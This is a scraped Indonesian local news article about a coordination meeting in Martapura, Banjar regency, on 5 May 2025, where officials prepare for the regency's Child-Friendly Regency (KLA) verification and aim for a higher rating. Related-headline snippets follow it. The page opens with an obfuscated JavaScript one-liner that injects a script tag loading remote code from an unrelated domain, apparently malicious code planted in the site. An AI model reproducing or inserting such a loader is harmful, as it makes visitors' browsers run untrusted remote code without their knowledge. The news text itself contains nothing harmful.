(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Dinas Sosial Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk Keluarga Berencana (Dinsos P3AP2KB) melaksanakan rakor Kabupaten/Kota Layak Anak (KLA), di Aula Barakat Martapura, Senin (5/5/2025) pagi.
Kegiatan dibuka Bupati Banjar diwakili Asisten Bidang Perekonomian dan Pembangunan Ikhwansyah dan dihadiri Plh Kepala Dinas P2AP3KB H Aswadi, para kepala SKPD serta Gugus Tugas KLA Kabupaten Banjar.
Sambutan tertulis Bupati yang disampaikan Asisten Bidang Perekonomian dan Pembangunan Ikhwansyah mengatakan, Kabupaten Layak Anak (KLA) merupakan salah satu program unggulan yang bertujuan untuk memastikan bahwa setiap anak di Indonesia termasuk Kabupaten Banjar memperoleh haknya secara optimal.
Baca juga: Pemprov Kalsel Lakukan Revitalisasi Masjid Raya Sabilal Muhtadin
“Melalui rakor ini kita ingin menyusun langkah-langkah konkret agar Kabupaten Banjar dapat menjadi Kabupaten Layak Anak bagi anak-anak kita, dan saat ini kita berada di tengah tantangan besar terutama terkait isu kekerasan terhadap anak, masalah pendidikan serta akses lainnya,” ungkap Ikwansyah.
Menurut Ikhwansyah kerjasama yang baik dengan semua pihak terkait maka akan terwujud Kabupaten Banjar yang layak bagi anak-anak.
Sementara Kabid Pemberdayaan Perempuan dan Perlindungan Anak Merilu Ripner menjelaskan, tujuan dari rakor ini, yaitu sinergitas terkait Kabupaten/Kota Layak Anak (KLA) khususnya Kabupaten Banjar.
Tahapan berikutnya adalah e-monev KLA kemudian pada 16 Mei akan dilakukan verifikasi lapangan oleh Kementerian Pemberdayaan Perempuan dan Perlindungan Anak RI secara virtual.
Baca juga: Wabup Banjar Pimpin Upacara Peringatan Hardiknas
“Melalui rakor ini kita menyamakan persepsi dan menyiapkan apa saja untuk verifikasi nantinya.
Target setelah tiga tahun berturut-turut meraih Pratama, 2 tahun Madya dan tahun lalu kita kurang 16 poin untuk mencapai Nindya. Harapannya tahun ininkita mampu memperoleh predikat Nindya atau lebih lagi ke predikat Utama,” ucap Merilu.
Dia menuturkan, langkah yang diambil mengantisipasi kekurangan nilai 16 poin tadi adalah memenuhi data dukung kemudian lebih sinergi lagi di beberapa kluster. Kekurangan tersebut disampaikan pada rakoor kali ini.
“Diharapkan semoga dengan adanya rakoor ini semua Gugus Tugas KLA bisa bersama-sama untuk mewujudkan Kabupaten Banjar Layak Anak guna meraih predikat yang lebih tinggi dan yang terpenting adalah dalam rangka pemenuhan hak-hak dan perlindungan anak yang ada di Kabupaten Banjar,” pungkas dia. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More
This website uses cookies.